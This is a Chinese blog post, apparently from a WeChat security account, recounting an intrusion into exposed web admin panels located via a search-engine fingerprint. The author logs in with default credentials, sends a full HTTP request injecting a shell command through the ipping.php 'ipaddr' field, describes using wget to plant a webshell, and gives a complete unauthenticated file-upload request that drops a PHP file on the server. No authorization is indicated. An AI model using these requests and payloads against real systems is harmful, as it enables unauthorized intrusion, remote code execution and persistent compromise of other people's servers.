0x01 前言
今晚看到一个师傅公众号发布了一篇文章叫做:
我兴致勃勃的点进去想白嫖,没想到通篇文章大部分都是打码的。挺搞心态的,幸好他的文章里面有指出鹰图指纹。为了不受限于人,我打算自己动手。
0x02 自己动手
Hunter指纹:
web.body="img/login_bg3.png"&&web.body="系统登录"
资产也不多,我想从弱口令突破,看看后台有没有什么机会能把源码给下载下来。
不过也挺幸运的,在指纹第一页我就找到了弱口令(admin/admin)成功登录后台。
看到这里我就知道正常是存在RCE的,于是我开始探索这个的功能并且成功构造了请求。
POST /manager/ipping.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:8040
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en;q=0.6
Cookie: PHPSESSID=dkaal4nc05nbdgi2vu1pk6rpi1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
ipaddr=127.0.0.1 | whoami
不过经过我的测试,这个RCE是后台的需要登录
但是既然我弱口令进来,那就什么都好说了。在我的VPS起一个HTTP服务 (Ps:因为我尝试echo写入,发现无法访问。分段写然后合并也没用,所以我这边直接Wget将我的哥斯拉木马上传上去)
这里也成功get下来了,并且成功访问到了木马。上哥斯拉
0x03 收尾阶段
我拿到了webshell首先肯定是去找文件,刚好这位师傅的文件有稍微的tip,所以我通过他没打码的一些点成功找到了对应的文件
upload.php:
<?
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
$uploadtime = @$_REQUEST['uploadtime'];
$data = array();
if (isset($_FILES)) {
$error = false;
$files = array();
$target_dir = "/home/apache/data/material/";
$virtual_idr = "/xmedia/material/";
$uploaddir = $target_dir . $uploadtime;
$upload_virtual = $virtual_idr . $uploadtime;
$upload_url = '';
foreach ($_FILES as $file) {
if (move_uploaded_file($file['tmp_name'], $uploaddir . basename( $file['name']))) {
$files[] = $uploaddir . $file['name'];
$upload_url = $upload_virtual . $file['name'];
} else {
$error = true;
}
}
$data = ($error) ? array('ret' => -1,'ret_msg' => '没有写入权限') : array('ret' => 0,'ret_msg' => 'success','url' => $upload_url);
} else {
$data = array('ret' => -1,'ret_msg' => '文件不合法');
}
echo json_encode($data);
?>
它这里的代码很简单,对于我这类审计菜鸟来说刚刚好$upload_virtual = $virtual_idr . $uploadtime;
这里的上传的文件路径是/xmedia/material/
以及上传时间还有这个上传的文件后缀。
它在这里的move_uploaded_file()
函数本身不会验证文件类型,只会将文件从临时位置移动到目标位置。
构造请求!
POST /manager/teletext/material/upload.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:8040
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en;q=0.6
Cookie: PHPSESSID=vsdl33qjn3fbslu7k3r99di5n3
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Length: 786
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="fileToUpload"; filename="1.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="type"
img
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="w"
1280
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="h"
720
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="userid"
1000398
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="appid"
5
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="uploadtime"
20230603_231117_1685805077294
------WebKitFormBoundaryB33cDIYAxIrc9MsS--
经过我的测试,这个文件上传是不需要登录的。构造参数就能使用。
0x04 结尾
承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、代码审计、渗透测试等安全项目,请联系下方微信
原文始发于微信公众号(不懂安全的校长):代码审计 | 黑白配之捕风捉影
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论